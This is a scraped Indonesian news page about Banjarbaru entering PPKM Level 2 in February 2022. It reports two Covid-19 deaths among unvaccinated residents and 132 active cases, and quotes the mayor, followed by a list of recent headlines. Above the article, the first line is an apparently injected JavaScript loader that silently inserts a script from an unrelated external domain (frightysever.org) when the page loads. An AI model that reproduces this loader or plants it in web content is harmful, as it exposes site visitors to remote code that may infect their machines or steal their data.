(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Banjarbaru Berstatus PPKM Level 2, Dua Meninggal Dunia Positif Covid-19


KANALKALIMANTAN.COM, BANJARBARU – Dua warga Banjarbaru meninggal duniadinyatakan positif terinfeksi Covid-19, muncul kekhawatiran terjadi gelombang ketiga.

Pemko Banjarbaru berupaya maksimalmenekan lonjakan kasus Covid-19 di Kota Banjarbaru dengan melakukan upaya pencegahan yang salah satunya sudah dikeluarkan Instruksi Forkopimda Kota Banjarbaru nomor : 180/2/KUM/2022 tentang Pemberlakukan Pembatasan Kegiatan Masyarakat dalam Penerapan PPKM Level 2 periode 1 Februari-14 Februaru 2022.

Selain menerapkan PPKM Level 2, tentunya percepatan pelaksanaan vaksinasi terus dilaksanakan karena ini merupakan salah satu solusi terbaik untuk menekan lonjakan Covid-19. Protokol Kesehatan pun juga harus terus dijaga dan harus terus diawasi pelaksanaannya.

Wali Kota Banjarbaru Aditya Mufti Ariffin, memastikan penyebab meninggalnya dua warga terinfeksi Covid-19 dan meminta masyarakat waspada atas penyebaran virus corona.

 

 

Baca juga: Setubuhi Anak di Bawah Umur, W Ditangkap Satreskrim Polres Tanbu

“Dua warga yang meninggal positif terinfeksi Covid-19, satu orang usia 32 tahun dan tidak mendapat vaksinasi karena komorbid, satu lagi usia 57 tahun dan memang belum divaksin,” ujar Wali Kota Banjarbaru.

Selain dua warga yang meninggal dunia itu, penyebaran Covid-19 di Kota Banjarbaru juga mengalami peningkatan, mencapai 132 orang positif yang dirawat di rumah sakit maupun isolasi mandiri.

Peningkatan kasus itu diharapkan menjadi perhatian seluruh pihak dan masyarakat semakin waspada dengan masih adanya virus corona.

Dengan penerapan PPKM level 2 ini di Kota Banjarbaru tentu ada pertentangan dari berbagai pihak, namun dengan niat untuk melindungi masyarakat banyak, maka langkah ini harus diambil oleh Pemko Banjarbaru.

“Banyak yang abai protokol Kesehatan dan banyak juga acara yang tanpa izin, menganggap sudah tidak ada lagi Covid-19 di Banjarbaru,” tandas Aditya. (kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

4 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

4 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

4 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

5 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

5 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

5 jam ago

This website uses cookies.